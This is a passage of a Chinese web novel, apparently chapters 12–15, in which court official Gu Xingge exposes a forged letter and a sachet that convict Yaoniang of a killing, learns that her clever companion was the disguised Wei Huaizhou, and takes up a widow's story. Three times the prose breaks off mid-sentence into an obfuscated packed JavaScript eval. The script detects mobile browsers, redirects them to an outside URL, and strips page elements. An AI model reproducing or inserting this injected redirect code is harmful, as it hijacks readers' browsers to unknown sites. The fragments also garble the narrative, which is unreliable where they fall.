她说着将两封信并排放在一起,眉头轻轻皱起:“可真是奇了,这内容虽然一模一样,但是这字迹……你们看,左边这封写得规整,右边这封却有些潦草。这到底哪一封才是和此案有关的啊?” 说罢,顾行歌左右看了一圈,似是没找到可以帮她的人。随即忽地转身,朝堂下某处走去。 “幺娘小姐与王公子素有旧识,又善书法,想来最熟悉王公子笔迹不过。” 顾行歌语气温和,嘴角还含着笑:“顾某才疏学浅,眼力不济,便烦请小姐指点一二。这两封之中,哪一封才是王景亲笔所写?” 李烛龙立在案侧,原本半靠着的身子微微一动。原来如此,他倒是有点明白她想做什么了。 这女子,看似温和,实则招招都藏着针。 堂下幺娘显然没料到这火能烧到自己身上,一时怔住。她眼神在两封信之间游移良久,终是抬手指向那封字迹潦草的信:“……这一封,应是他的。” 顾行歌面色不变,仍旧笑盈盈地朝她一点头:“多谢。” 说罢,她便回到堂上,将两封信恭恭敬敬递给了张大人:“那便劳烦大人也替我掌个眼,若无误,我这边好归还给方才的衙役大哥们。” 张大人接过,心不在焉地扫了一眼,眉头便悄悄皱了起来。 他把两封信一并摆平了,又凑近了一点看,终是摸着胡子道:“王景是吏部尚书之子,师承名家,王尚书那人我也见过,极为严格。王公子的字,说句不中听的,可真不该写成这般……这般龙飞凤舞的模样。” 秦若木也附和道:“我虽未见过王公子真迹,但上月王家送来拜帖,我略翻过几封,那字,确是工整,绝对没有这般狗爬的模样!” 顾行歌瞪了秦若木一眼,这字是有些潦草,但也不至于说的这么难听吧! 众人纷纷点头称是,显然都认定了那封字迹整齐的才是王景所写。 唯有幺娘,眉心轻蹙,目光微乱。 顾行歌慢悠悠转过头,看着她,语气却依旧轻柔:“幺娘小姐方才为何选了这封潦草的?依理说,王景与你曾有婚约,最该熟悉他的字才是。” 幺娘一愣,闪过一丝惊惶,讷讷道:“我只是觉着,这封字迹更像男子下笔,不似那第一个那般工整刻意。” 顾行歌笑着点点头,随即双手一伸,赵清早有准备,快步上前,将一封事先准备好的拜帖呈上。 “方才忘了补充,”顾行歌将那拜帖摊在公案上,“这才是真正出自王公子之手的信,各位不妨再比一比,看看到底谁的眼力靠得住。” 众人再看那拜帖,顿时了然。 张大人道:“这字迹……与幺娘小姐所指的那封,截然不同,非常工整,反倒与我们选中的如出一辙。” 顾行歌轻轻点头:“诸位眼光独到,一眼便看穿那封不是王景所写……方才的那一封龙飞凤舞的字迹,其实是我方才匆匆写的。” 此言一出,哗然四起。 张大人瞪圆了眼,差点从案后蹦起来:“你写的?” 顾行歌点头:“草草几笔,难登大雅之堂,倒叫张大人见笑了。” “只是那第一封信,也并非出自王景之手。王公子案发当晚,一直在浮云居,酒楼的掌柜和小厮都能作证。这信,是有人刻意仿作,用以引诱任公子出门。换句话说,这封信件的伪造者,才是杀人者。” 张大人一下坐不住了,连连拍案:“好一个奸人胆大包天!是谁?为何不早些将他拿下?” 顾行歌却摇了摇头:“张大人莫急,咱们再来看一样东西。” 她从袖中取出两份案卷,一封是今日才获得的侯府的放良书,一封是方才安成侯亲签的文书。 张大人仔仔细细地看了一遍,皱眉道:“这又有何问题?签名是侯爷之名,笔迹也无误。” 李烛龙似是发觉了端倪,道:“老师,请看这一行。”他指着安成侯的签名那里,接着道,“十日前,安成侯就已经在这大理寺中了,那这签字的会是谁呢?” 此话一出,张大人愣了半晌,脸色陡变:“难不成……这是伪造?” 顾行歌看向李烛龙,本以为这人沉稳,是个不喜展露锋芒之人,谁知却在关键处主动点破破绽,显然也是早就看出了端倪,果然这大理寺没有平庸之辈。 顾行歌目光转到幺娘那边。她将几封信一并摊开,语气平和,却句句紧逼:“各位请看。这封王景的来信,还有这封放良书,看着是两人写的,但这里的每一个字,都出自一样的手法,起笔时轻缓、顿笔重,甚至连最后的收尾笔顺,都一模一样。” “两人身份、地位、出身门第不同,落笔习惯却一模一样,世上怎会有如此巧合?” 李烛龙淡声道:“除非……” 顾行歌接着道:“这些字,都是出自一人之手。” 张大人皱眉:“能临摹侯爷与王公子之笔,又仿得如此相似,非泛泛之辈。还得熟悉两人笔风,取得到原件,肯花功夫研摹。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860031|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾行歌语气一沉:“能满足这些条件的,满京城只怕也找不出第二个。” 她说到此处,停了一瞬,忽地扭头看向堂下。 “那就是你,幺娘小姐。” 幺娘脸色唰地白了,嘴唇动了动:“我……不是我……” 顾行歌叹了口气:“那正好,这放良书的张义眼下就在合婚司,叫来一问便知,我的人现在就能跑一趟。” 幺娘沉默半晌,才低声道:“模仿家父笔迹的,是我。可那不过是为了给家中的老奴找条生路罢了,又不是什么杀人放火的大事。” “确实不是什么大事。”顾行歌道,“那我们换个问法。” 她笑了笑:“你方才认王景的信件时,为何迟疑?为何众人都选了第一封字迹工整的,你偏偏选了那封字迹潦草的?” 她语气柔和,却字字逼人:“不是因为你不熟王公子的字,而是你太熟了。” “第一封,工整清晰,那才像是王景的笔迹。你不敢选,是因为那封信,根本是你仿写的。” 一句话落下,堂上众人都愣住。 “什么?那封邀任公子夜赴河边的信,是幺娘小姐自己写的!” “那岂不是,杀害任公子的凶手就是幺娘小姐!” 幺娘嘴唇发颤,身子微微摇晃,仿佛站都快站不稳了。 顾行歌平静地说道:“你不知道我今日有何用意,也没料到我会从字迹入手。可你知道王景此刻不在,又隐约猜到我们已经查到,有人借王景之名引任公子赴死。于是你索性赌一把,装作不认识他的笔迹,做出和别人完全不一样的选择。” “只可惜,你赌错了。” 顾行歌一步一步朝着幺娘走近:“你故意的遮掩,反而让你暴露了。你怎么可能不认识王公子的字迹,你越是心知肚明,越是不敢指它为真,反而露了破绽。” 众人没料到这一出,齐齐怔住。 幺娘咬着牙,半晌却一个字都没吐出来。 这时,堂下一女声响起:“一张纸,又能证明什么?” 说这话的,是侯夫人。 她礼仪周全,可手却已经极自然地把幺娘护到了身后。 “我敬大理寺办案之名,也敬顾主簿的才名,”她语气微转,“只是,世上能模仿字迹之人不少,一张信纸就定人之罪,未免也太草率了些。再者说,大理寺断案,自有章法规矩。怎的,如今合婚司也能在堂上主持公道了?” 这话说得滴水不漏,听着像是规劝,实则字字带锋。 侯夫人目光扫过顾行歌,又落在大理寺众人身上,举手投足间,倒真有几分皇族的从容。 顾行歌倒是还有话想回,脑中已飞快权衡着说辞,毕竟这侯夫人可与侯爷不同,是真正的皇族,真要针锋相对,难免会落了下乘。 她才一开口,还未说话,却见身侧的李烛龙忽然走出一步,将她掩在身后。 李烛龙低声道:“夫人说得在理。” 他笑了一下:“既然顾主簿的证据你觉得不够,那不如,咱们再看看这个。” 李烛龙展开双袖,又取出一物,此时倒像真要动真格了。 13. 香火不渡(十三) 李烛龙拿出一物,是一个布制香囊。 顾行歌目光微动,只一眼便认了出来:“这不就是当初从任公子尸身上搜出的香囊?” 李烛龙点点头,拿着这香囊走向侯夫人,道:“香囊右下角的缝线有撕裂痕迹。我们找了布行的人细验,撕裂处与香囊其他地方褪色程度一致,说明这并非之前的痕迹,而是任公子身亡的那日才被生生拉扯开的。” 他看了躲在侯夫人身后的幺娘一眼,又道:“也就是说,这是任公子在临死前,从那晚他见到的人身上扯下来的。” 这类香囊一般都是女子佩戴。这么说的话,那任公子死前见的就是…… 侯夫人看了一眼已经愣住的幺娘,硬是咬着牙说道:“京中佩香囊的女子千千万万,这种香囊街面上随处可见,怎就一定是我家幺娘的?” 听到此处,顾行歌喃喃道:“并蒂莲。” 李烛龙目露赞许:“没错,请看这香囊上绣的是并蒂莲。” “我们当日发现这香囊时便查明,这种并蒂莲样式的香囊唯慈华寺所有,每月仅制三四枚,只赠予香火最盛的贵客。” “因这香囊供不应求,为了防止多领,寺中将每月所赠之人,都记录在册。”李烛龙翻到其一页,指着其中一行,“康乐十七年三月,案发前两月。你们自己看。” 众人闻言一齐探头去看,只见那文书上端端正正写着几个名字,最下那一行,赫然几个字: 安成侯府,李幺娘。 幺娘脸色白得像纸,侯夫人倒反应得极快,几乎瞬间就恢复了从容。 “说到底,”侯夫人开口,“不过是一个香囊罢了。慈华寺每月送三四个,这一年算下来,总归送出去不少。怎么就非得说是我家幺娘的东西呢?” 她话音刚落,顾行歌“唔”了一声,像是被提醒了什么似的,飞快翻阅起那本册子。 说来也得谢户部孟大人,把合婚司的活儿几乎都堆她一个人身上。谁家女儿许了亲,谁家公子悔了婚,谁偷偷纳了小妾……这些事儿别人未必在意,她却得比谁都清楚。 翻了几页,她忽地笑了几声,低声道:“并蒂莲,原是一根茎上开两朵莲花,象征夫妻同心,恩爱缠绵。慈华寺绣这花样,本就不是随便选的。一般只赠与新婚或已定亲之人。” 她说到这里,指了指那册子上的名字:“各位请看,得过此香囊者,多为已婚之妇,或是已许了人家的小姐。” “唯独一位,是例外。” 她抬头看向堂下:“便是幺娘小姐。王家的亲事退了,新亲事未定,任公子……已经过世。算起来,还算待字闺中。” “今年三月,安成侯府和王家的婚事已是板上钉钉之事,慈华寺与侯府素来交好,这桩婚事他们自然也早有耳闻。所以,他们才会破例,将这枚并蒂莲香囊赠予幺娘小姐。” 李烛龙适时开口,慢条斯理地补充道:“京中各家各户的姻缘情况,顾主簿最为清楚。若有人觉得此说不准,我们也就劳烦些脚程。” 他轻描淡写:“就按这册子上一个个核查,看看这香囊,是哪家不小心弄丢的。不出几日,便能核查清楚。” 幺娘脚下忽地一晃,像是站不稳了。 此时,顾行歌脑中电光火石间,一道念头忽然闪过。 “我明白了。”顾行歌轻声开口,像是突然解开了一道心结,“你不是没想到这香囊的事,而是根本没来得及找回它。” “那晚太乱,你措手不及,他挣扎得凶,竟顺手扯下了你身上的香囊。那时候你以为,夜深、河边无人,这香囊说不定就掉在哪里,一来没人看到,二来也没人会去细查。” “可惜你没想到。” 她低头将那名册合上:“这名册上记得,任公子在临死前,也记得。” 她顿了顿,视线终于落回幺娘身上:“而你,也记得。” 幺娘原本已经苍白的脸,这会儿竟是发青了。 侯夫人刚张口:“此事或许还有转圜……” 她话音未落,幺娘却猛地上前一步,声音又尖又急:“我本没想杀他!” 堂上众人尽皆一震,目光齐刷刷落到她身上。 侯夫人反应也极快,下一瞬便要上前,却只来得及迈出半步,便被李烛龙侧身拦下。 他站得笔直,双臂微微一展:“夫人且慢。你该知道,此事若再遮掩,牵连的就不是她一个人了。” 侯夫人脸色一变,终是一个字都没说出来。 幺娘声音像是下定了决心:“我没想杀他,我只是不想嫁给那个姓王的。我从小到大,什么都听府里安排,哪怕是同谁成亲,也要为侯府谋利。我不过是想为自己活一次,就那么难吗?” 她抬起头来,眼中含着水意:“那日我在慈华寺遇见了任公子。他好温柔,说话也有趣。我以为他会对我好。” “可谁知道……”她忽然咬牙,眼里浮出几分狠意,“他竟拿这段私情来要挟我。他说,只要我不答应,他就将一切昭告天下;他还说,要揭穿我父亲私运红雁花的事……” 她声音陡然拔高,几乎是嘶喊出来的:“他说,既然我父亲做了那么多坏事还能袭了侯位,为什么他不能享受这荣华富贵?” 顾行歌听到此处,心中微动。 原来如此。 怪不得那日在侯府,幺娘与任公子站在一处,却全无半点儿你侬我侬的意思,倒像是互相提防着的。现下再一细想,却处处透着别扭。 幺娘接着说道:“我气不过,只想和他同归于尽,于是那日,我便假借王景的名义,约了他出来,却没想到他来的时候就已经是强撑的状态。” 顾行歌脑中立刻浮现起那日在侯府见到任公子时的模样。衣衫得体,人却瘦得仿佛只剩骨架。 她看向李烛龙,果然,对方也在看她,两人心中都有了答案。 顾行歌低声道:“他不是装的。” 李烛龙点头:“恐怕那个时候,早已中毒太深。” 幺娘接着说道:“我本想着,与他一同投湖了结,谁知临到湖边,起了争执。我一时心慌,去拉他,结果反被他抓住了手。我只是挣了一下,他就摔进了水里。” 说完这句话,她眼泪滚落下来,却没再做辩解。 顾行歌叹道:“恐怕这香囊,就是那时候被拽下来的。” 事已至此,真是让人唏嘘不已。那枚绣着并蒂莲的香囊,本是吉祥喜庆之物,反倒成了她失手杀人的证据。 李烛龙看着眼前这一切,脸上看不出太多波澜:“终归是人死于你手。来人,将幺娘押入——” “死牢。” 死牢,是大理寺最重的囚禁之所,往往只用来关押谋逆重犯。像幺娘这等寻常命案的嫌疑人,远远不至于落到这地步。若真押进去,怕是连命都难保。 顾行歌急道:“且慢!她是目前尚且是疑犯,还不是定犯。大理寺断案,也该按章办事。此时便押去地牢,是循的哪一条律?” 李烛龙答道:“大理寺有大理寺的律例。” 顾行歌却不肯让步:“我虽对大理寺律例不甚精熟,但也知道,押人入死牢,起码得有几层文书、几道批令。李大人一句话,就能盖棺定论?” 她句句在理,堂下几名衙役动作一顿,面面相觑,不敢再擅动。 李烛龙看着她,没有回答。片刻后,才不紧不慢地挥了挥手:“押下。” 几名衙役会意,正要动手,却听身后一阵哭声。 “娘,女儿来世再做你的孩子!”幺娘伏在侯夫人怀里,哭得几乎崩溃。 侯夫人也顾不得什么礼数,抱着幺娘的手一直在颤,一边哭一边朝着上方哀求。她是皇亲,是安成侯之妻,此时却说不出一句有用的词。 就在这混乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860032|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之中,一直站在堂下、一言未发的安成侯,终于开了口: “等等。” 他看向李烛龙,颤抖地说道:“你不是想知道红雁花的走私线路吗?” “我告诉你。”安成侯像是耗尽了全身力气,“只求一事。幺娘这案子,能否再细细查几日?她罪不至被押往死牢。” 李烛龙看着他,神色冷淡,片刻后才慢悠悠地开口:“你若早这么说,不就得了。” 衙役们立时收手,退回两侧。 堂上顿时安静下来,只剩下幺娘的哽咽声。 顾行歌站在原地,这才慢慢反应过来。 她回头看了李烛龙一眼,只见他已转身,负手而立,像是方才那一通指令,根本不曾发生过。 她忽然明白过来。 原来从头到尾,他就没打算真将幺娘打入地牢。 这场看似临时起意的逼供,从香囊开始、到她出面、再到安成侯松口,全都是李烛龙算好的局。 她竟浑然不觉,被李烛龙拿来当了倒逼安成侯的一把刀。 她看了一眼李烛龙。这人,心思竟如此深沉。 她咬了咬牙,心里五味杂陈,恼意当然有,却远不止于此。更多的,是一种难以言说的复杂感受,像是被人捏住了命脉,虽说步子还踩在自己脚下,可前行的方向,却不知不觉已被人设定。 安成侯的事还未结束,大理寺又来了几位别的官员,想来后头的事,顾行歌一合婚司的人,也不好再听,她便自觉识趣,带着赵清先行出了堂。 临出门前,李烛龙竟亲自来送她们两人,还一本正经地朝她拱手行礼:“这次多亏了顾主簿相助。” 顾行歌皮笑肉不笑地回了一句:“大理寺有李大人这号人物,可真是天大的福气。” 说完,也不管对方是否听懂,转身带着赵清头也不回地走了。 刚走出几步,身后人声渐远,赵清才低声开口:“主簿,我怎么觉得,今天这些事,看着是我们在推进,实际上都是李大人在掌盘啊。” “还有啊,”他回忆了一下,“秦大人来接我们的时候,特意说什么来着?” 顾行歌脸一沉,牙根紧咬:“说他家大人已等候多时。” 赵清一拍手:“对对对,我就说这话不对劲,怎么听都像是……早摆好了棋盘,就等咱俩当那棋子。主簿,他是不是早就知道我们会查到幺娘小姐这边?” 顾行歌没接话,只是停下来,回头看了一眼那扇仍半敞着的大门。 顾行歌此时也不得不承认,或许从案子刚开头、她在侯府遇上李烛龙那一刻起,就已经被这人算计进了局里。 她脸色阴晴不定:“老郑果然没说错,那人,邪门得很。以后能躲开,就躲开,打死也不凑上去。” 话音刚落,前头忽地站出一个黑壮男子,结结实实堵在了路中央。 “请问。”那人瓮声瓮气道,“可是合婚司的顾主簿?” 这又是哪路神仙?她在大理寺又没什么熟人,不会案子又有变数吧? 顾行歌警觉地点点头:“我是。有什么事?” 谁知那汉子立马露出个极其腼腆的笑容:“哎呀,真是顾主簿!前些日子我家里人托您牵线,那位小娘子我是真喜欢,可惜人家死活不肯嫁。顾主簿能不能再帮我去劝劝她?您再出马,她肯定能松口。” 顾行歌一头雾水,这大理寺的姻缘,也没做过几单啊,近些日子,也就接待了李烛龙那一次,那段时间她还正好不在京里,难不成是前任主簿留下来的烂摊子? 顾行歌硬着头皮问道:“请问,阁下是?” 那黑壮男子挠了挠头,露出几分困惑:“不是您来找我的吗?我刚回到大理寺,门卫就说您来了,特意来寻我。我就是……” 他顿了顿,收敛了笑容,认真说道: “大理寺寺丞,李烛龙。” 14. 香火不渡(十四) 顾行歌不可置信:“你是,李烛龙?” 那黑壮男子愣了一下,连忙点头:“在下正是。” 顾行歌脑中嗡地一声。 眼前这人若是李烛龙的话,那这些日子与她共同探案,方才还设陷阱、引她倒逼安成侯的……那人是谁? 顾行歌猛地回头,望向堂内。 方才还运筹帷幄,一句话就能让安成侯夫人当场服软的大理寺“李烛龙”,此刻正站在堂中,侧着身,专注地与一名官员说话。 身旁那黑壮汉子,一脸好奇地顺着顾行歌的视线看过去:“顾主簿,你看什么呢?……哦,原来你在看魏大人啊。” 顾行歌像是被雷劈了一下,猛地转头盯住他:“魏大人?” 旁边的赵清也叫出了声,几乎快破音地问道:“你说是,哪个魏大人?” “还能有哪个嘛?”黑壮男子被他们一问,反倒更迷糊了,“咱们大理寺,也就一位魏大人,自然是大理寺少卿……” 他还没说完,就听到顾行歌咬牙切齿道: “魏怀州!” 李烛龙还在一旁憨笑道:“顾主簿,你们认识啊。” “认识,自然是认识的。”顾行歌几乎是咬着后槽牙道。 好嘛,搞了半天兜兜转转,竟是被这魏怀州下了套。 顾行歌脸上的神情变了又变,先是错愕,再是愤怒,最后竟是一种说不清的、自嘲。 那日在侯府,王景那莫名的惧怕模样。慈华寺时他对王景近乎冷淡的态度。以及,秦若木对他的毕恭毕敬。 还有在张大人面前,他那一句自称“学生”……她却还在一旁点头称是,简直滑稽至极。 这一桩桩,一件件,处处都是破绽,她一个都没瞧出来!还每日里拿他当朝中同僚看待,甚至还起了爱才之心,打着算盘要将他挖去合婚司,做她的左膀右臂。 最要命的是,慈华寺时甚至还威胁人家,要他说出自己的真实身份…… 现在想到这些,顾行歌只想找个地洞钻进去,把自己埋了算了。 赵清这时在一旁喃喃道:“即是魏大人,为何要隐瞒身份?还装什么侍卫,遮着脸……他大理寺少卿的身份,想查案哪里用得着搞得像偷鸡摸狗似的?” 顾行歌沉默片刻,像是在把前因后果全都理了一遍,才缓缓开口:“不,是他不能露面。” 她看向堂内:“魏怀州那张脸,一旦被安成侯认出来,这案子从一开始就查不下去。” 赵清怔住:“为何?” 顾行歌道:“因为安成侯认得他,这魏怀州,也是皇族。” 顾行歌对魏怀州,一直都只是听说。 听说此人心思深沉,手段狠辣。还听说他不好惹,连皇城司那帮无赖在他面前都得毕恭毕敬,礼部那帮油嘴滑舌的,一见他都得绕道走。 当时顾行歌还不以为然,现在证明,有时候百官的眼光就是雪亮的! 确实够阴险,也确实不好惹。 魏怀州,当今长公主独子,和安成侯夫人说到底,还是有几分亲戚关系的,说不定曾在宫中见过几回。若他一开始亮出自己的真名头,安成侯但凡多长点心眼,这案子怕是不会像现在这般顺利。 不过,若说这魏怀州仅凭一个长公主之子的身份,便能让百官忌惮至此,那也太小看朝中这帮老狐狸了。 真正让人噤声的,不是他那金枝玉叶的皇家身份, 而是他姓魏。 大齐开国不到百年,姓魏的,能叫得出名号的也就那一家。 英州魏氏,世代镇守西南,代代都是挂帅的大将军。 魏怀州的父亲,便是正元年间那位赫赫有名的魏廉将军。身经百战,战功无数,是当今陛下登基前最倚重的大将。 谁料风云变幻。二十年前,魏廉却被指叛国,满门遭诛。尸骨未来得及收殓,便被丢入乱葬岗,从此再无踪迹。 满门忠烈,一夕之间,灰飞烟灭。 那场浩劫中,唯一活下来的,是长公主和她年幼的儿子。 魏怀州能保住这条命,靠的不是皇恩,而是他那位母亲,抱着孩子在太庙跪了三天三夜,才换来这条命。 从此这位昔日高高在上的金枝玉叶,郁郁成疾,最后在英州一处庵中削发为尼,十几年不问世事,连如今的陛下登基,也未曾回来看上一眼。 好在太后念旧,将魏怀州留在宫中养大,衣食无忧。只是那宫墙深似海,亲爹没了,亲娘也不在身边,这孩子虽说生在锦衣玉食里,却像是在刀尖上长大。 十四岁那年,魏怀州就自己出了宫,说是云游四方,谁也不知道他去了哪儿、做了什么,直到去年才突然冒出来。 回来第一件事,就是去了大理寺。他也不要官阶,不要俸禄,就一个念头:断案。 皇帝拗不过,只得准了。 结果他这一上任,挑的全是积压多年的旧案,盘根错节,牵扯极深。他倒好,一刀切,不讲情面,也不绕弯子。谁来求情,谁先倒霉,没几日就得罪了半个朝堂。 偏偏他这个身份,叫人既不好拉拢,又不敢轻慢。到头来,竟成了他查案时最大的护身符。于是朝中很快便达成了一种默契:碰到魏怀州了,能躲多远躲多远。 从前京中还有几位夫人打听他,想着这位长公主独子,贵胄出身,也没什么风流账,模样也清俊,好生管一管,未尝不是乘龙快婿的好人选。 现在好了,谁还敢把姑娘嫁给个叛国将军的儿子?还是个大理寺的鬼判官,断起案来半点情面不讲的那种。 顾行歌想到这,心中不由感叹。也不知自己是命大还是怎么的,居然被魏怀州盯上之后,还能毫发无伤、全身而退。 赵清在一旁感叹:“这不刚好吗?之前不是说要主簿您给魏大人牵红线?如今既然已经相熟,之后给他拉姻缘更方便了。” 顾行歌脚下一顿:“你不说我都快忘了这事了。” 她像是认真考虑了一下,随即摆摆手,十分干脆:“得了吧,我觉得还是小命更重要,我们还是赶紧撤。” 说着立马对一旁的李烛龙道:“三日后,你再来一趟合婚司。我给你看看你的姻缘。” 还没等到李烛龙反应过来,顾行歌就拉着赵清,速速逃离了大理寺。 堂内,秦若木快步回来,拱手禀道:“顾主簿已经走了。” 魏怀州点点头,没有说话。 秦若木站在一旁,犹豫片刻,还是忍不住开口:“公子,我觉得……顾主簿其实是个好人。你这次连哄带骗,让人家帮你探案,着实有点不仗义。” 魏怀州一本正经道:“我这不是为了查案。” 秦若木道:“为了查案,你就专门挑她在场的时候,让我将安成侯带到慈华寺?” “为了查案,你就等着她把放良书送上门?明明我们自己也早查到了。” “……” 魏怀州低头理了理袖口,像是终于被叨烦了,懒洋洋地回了一句:“行了,你怎么现在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李烛龙挠了挠头:“这确实没想到,合婚司的诸位,竟是如此的手无缚鸡之力。” 顾行歌只觉得头疼。别人不知道就算了,这魏怀州可是见过合婚司里的全员的,三人加在一起,恐怕连鸡都追不赢,偏他还送这么一筐沉甸甸的心意。 其实原因无他。 大理寺后院堆了一堆兵器,碍眼得很。那日魏怀州说要送礼,便想起顾行歌曾说过想要练武,便随意指了件兵器。 没想到,秦若木自作主张,热情高涨地搬了整整一箩筐过来,一件比一件沉,恨不得把大理寺后院都搬到合婚司来。 当然,这内幕顾行歌是不知道的。她只当魏怀州是个阴损人,专门送点能她用不到的东西来恶心她。 她带着赵清、老郑三人,整整挪了小半个时辰,才把那一筐兵器收拾好。 歇了口气,顾行歌满头大汗,扯着衣袖擦了把脸,一抬眼,看到还在一旁等她回话的李烛龙。 她恍然大悟,问道:“你上次说的亲事,是怎么一回事来着?” 李烛龙闻言,有些不好意思地道:“之前说的那家姑娘死活不肯嫁我,我也不勉强了……如今另寻了一位女子,想着还是请顾主簿出马,帮我去说一说亲。” 顾行歌听罢,心想这男子果然人人花心。她问道:“是哪家的姑娘?” 李烛龙一脸腼腆,搓了搓手:“也是太平坊人士。”他抬头小心翼翼地看了顾行歌一眼,“是做胡饼的那位。” 顾行歌想了半天,猛地反应过来,整个人都惊了:“你说的是,何寡妇?” 赵清眼珠子都快掉出来了:“竟然是那个,死过两回丈夫的何寡妇?” 15. 百味炊饼(一) 太平坊的街道向来热闹,最近却比往常更添了几分喧哗。 几个月前,街东头新开了一间卖炊饼的小摊。虽是个小摊,却日日人头攒动,摊前的队伍比初一城隍庙请香火那阵还要长。 这家摊子不挂幌子,也不吆喝,灶边只立着一个女掌柜。 这位掌柜姓何,名宛枝。太平坊里的人都叫她“何寡妇”,这称呼虽直白,却比她的名字更早响彻坊内。 何宛枝本是江南人士,长得高瘦,模样俊俏,话也不多。嫁过两回人,第一任是个颇有资产的商户,成亲不到三月便一命呜呼了。第二任是屠户,这回日子长了些,成亲过了一年,但前阵子也死了。 前后两桩命案,死因都说不甚明白,街坊四邻自然闲不住嘴,传言也就跟风似的满街跑,说她命硬、克夫,是扫把星转世。 不过她本人倒不在意,旁人唤她寡妇,她也不恼,只顾卖她的炊饼。她虽然看着瘦瘦弱弱的,干起活来却利索得很,揉面、摊饼、翻炉火,样样不含糊,就是脸最近被灶火一直熏得,双颊有些红通通的。 旁人做炊饼,都是素的,顶多撒点盐,讲究点的撒一把芝麻,也敢卖三文钱。 可她家的炊饼就不一样。 她家的炊饼里加了肉沫,猪肉剁得细细的,混着葱姜等香料,裹在面皮里,再一锅热油贴上去煎烤。咬下去,外酥里嫩,鲜得不行。这炊饼的香味能顺风飘出几丈远,连附近的狗,每日都摇着尾巴围着摊子打转。 偏偏这等好味道,她也只卖三文钱,穷苦人家都觉得值。于是一传十、十传百,这炊饼摊子,最近便成了太平坊里的新招牌。 这不,名气一大,队也就越排越长。 六月的一个晌午,日头正毒。炊饼摊的长队最后头,站着两个翘首以盼的年轻人,仔细一看,正是顾行歌和赵清。 赵清踮起脚尖,把脖子伸得老长,眼看着前头的队伍一眼望不到头,不由得发出一声哀嚎:“这得排到什么时候啊?主簿,前头怎么也有数十号人。咱就为了这一口吃食,耗在这儿不值当吧?不如换一家?” 顾行歌慢悠悠道:“咱们今日又不是专程来吃炊饼的,主要还是打听一下何寡妇的意思。李烛龙那人,说起一出是一出,张嘴就让我帮他去提亲……可这拉红线的事,讲究的是你情我愿。我们也不能光听他的一面之词,不问姑娘愿不愿意就胡乱撮合,万一牵错了线,闹出事来,可不不行。” 再说了,顾行歌努力嗅了几下,真香,她也确实想吃这大名鼎鼎的炊饼。 赵清一听这话,不由抱怨道:“怎么这大理寺的,一个两个的,净往我们合婚司这边塞事啊。” 顾行歌本来还想顺势点头称是,话到嘴边又咽了回去。终归同朝为官,抬头不见低头见的,便轻咳一声,装模作样地替大理寺说了句体面话:“也不能全怪他们。安成侯府那桩亲事闹得太大,如今户部那边的婚书都空了一大片。我们合婚司今年若是不多撮合几对儿,等到年末怕是得被评成尸位素餐,搞不好要减俸的。” 赵清不由的点点头:“还是主簿你思虑周全!” “不过话说回来,这何寡妇啊,接连死了两个丈夫,那两桩命案,主簿你可知道来龙去脉?” 顾行歌摇了摇头,语气淡淡地道:“我也不算清楚。只是当初接手合婚司时,翻过前任主簿留下的文书,里头有提到过何寡妇第一任丈夫。” 她停顿一下,回忆了一番接着道:“那人是个牙行出身的商户,家底还算殷实,听说在太平坊都置了房,成亲那日摆了好大一桌席,倒也算风光。但好景不长,成亲还没满三个月,就被捅死在自家书房里,据说还被捅了好多刀。且说案发当夜,门窗紧闭,家丁睡得死,杀人者像是凭空消失了一样。” 赵清倒吸一口凉气:“听着就邪门……后来怎么判的?” 顾行歌耸耸肩:“案卷上写得模棱两可,说是死者生前与人有旧怨,可能是被人报复。可惜那旧怨到底是何人所为,至今也没个准话。”顾行歌摇摇头,“后面我也不知道了,当时办案的官员当时也调职了,便更没人去追了。” 赵清啧啧两声:“那这第二任丈夫的事呢?” 顾行歌刚要答话,前头几个排队的汉子倒先插了嘴。 “嘿,说这事我知道!”其中一个留着山羊胡的汉子嘿嘿一笑,挺着个肚子,往前挤了一步,声音不大不小,偏偏字字清晰,“这事儿太平坊谁不知道。那何寡妇啊,第二任嫁的是那个张屠夫,模样粗陋,脾气还冲。就这么个长相,还敢娶这般水灵灵的娘们。我说,准是这何寡妇经常出去偷人,活活气死了这张屠夫。” 说完,他身边那几个油腔滑调的汉子顿时轰地笑了起来,有人揶揄着往前凑,一边挤眉弄眼地说道:“这寡妇模样可不赖,唇红齿白,要不是命硬,啧,哪个不想试试……” “我看这位小娘子也俊着呢,”那山羊胡斜着眼打量顾行歌,嘴角一咧,“不如……” 这话一出,顾行歌眼神立即冷下来,正要出声怼人,就听“啪”的一声响。方才那个山羊胡,突然惨叫一声,抱着脚跳了起来:“哎哟!谁砸我?哪个缺德的!” 众人一愣,顾行歌也皱眉望去。只见地上滚着一个黑黢黢的壳儿,看着像是山栗子的外壳,那玩意儿不知道从哪儿飞出来的,正好砸在山羊胡的脚背上。 他一边骂骂咧咧地捂脚,一边回头找人,却愣是没看到谁动手。 顾行歌见状,冷笑道:“什么都不知道,就敢满嘴胡说八道,活该!” 